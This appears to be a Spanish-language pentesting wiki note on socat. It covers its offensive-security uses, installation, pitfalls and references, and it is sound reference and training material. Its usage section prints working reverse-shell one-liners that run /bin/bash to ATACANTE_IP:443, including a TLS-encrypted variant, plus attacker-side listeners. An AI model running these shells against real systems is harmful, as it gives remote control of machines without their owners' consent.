Socat
Socat (SOcket CAT) es netcat llevado al extremo: conecta dos flujos de datos de casi cualquier tipo —sockets TCP/UDP, ficheros, pipes, dispositivos serie, pseudo-terminales, túneles TLS— y…
Qué es
Socat (SOcket CAT) es netcat llevado al extremo: conecta dos flujos de datos de casi cualquier tipo —sockets TCP/UDP, ficheros, pipes, dispositivos serie, pseudo-terminales, túneles TLS— y los une bidireccionalmente. Su valor en seguridad ofensiva es que sabe asignar un PTY a la conexión, lo que da shells totalmente interactivas desde el primer momento, y que puede cifrar el tráfico con TLS sin herramientas externas.
A cambio, su sintaxis es más densa: cada extremo se describe con un “address” completo (tipo, destino y opciones), en lugar de un simple par IP.
Para qué sirve
- Recibir reverse shells estables, con TTY, desde el primer intento.
- Cifrar la sesión de shell con TLS para que no viaje en texto plano.
- Redirigir puertos y hacer de relay entre dos servicios.
- Encapsular protocolos: exponer un socket UNIX como TCP, o al revés.
Cuándo usarla
- Cuando la shell de netcat se queda corta y necesitas algo interactivo y estable.
- Cuando el tráfico de la shell atraviesa una red donde te pueden estar escuchando.
- Para port forwarding puntual sin levantar un túnel SSH completo.
Instalación
# Debian/Ubuntu — no suele venir por defectosudo apt install socatUso (comandos comunes)
# Listener con PTY completo (lado atacante)socat -d -d TCP-LISTEN:443,reuseaddr FILE:`tty`,raw,echo=0
# Reverse shell interactiva (lado víctima)socat TCP:ATACANTE_IP:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
# Shell cifrada con TLS — generar cert y escucharopenssl req -newkey rsa:2048 -nodes -keyout s.key -x509 -days 30 -out s.crtcat s.key s.crt > s.pemsocat OPENSSL-LISTEN:443,cert=s.pem,verify=0 FILE:`tty`,raw,echo=0# víctima:socat OPENSSL:ATACANTE_IP:443,verify=0 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
# Redirección de puerto (reenvía 8080 local a un servicio remoto)socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.0.0.5:80Pitfalls / Errores comunes
- La sintaxis de los address es exigente: un
ptyo unraw,echo=0mal puesto y la shell sale doblada o sin eco. Merece la pena memorizar las dos o tres recetas de arriba. - No viene instalado por defecto casi en ningún sitio, así que en un pivote hay que subirlo primero.
verify=0desactiva la validación del certificado: vale para un lab, pero deja el canal expuesto a MITM. En un engagement real, verifica.
Integración con otras notas
- Conceptos: Shells (Reverse and Bind).
- Alternativa más simple: Netcat.
Referencias
- Documentación oficial de Socat — http://www.dest-unreach.org/socat/
- Página de manual
socat(1)— http://www.dest-unreach.org/socat/doc/socat.html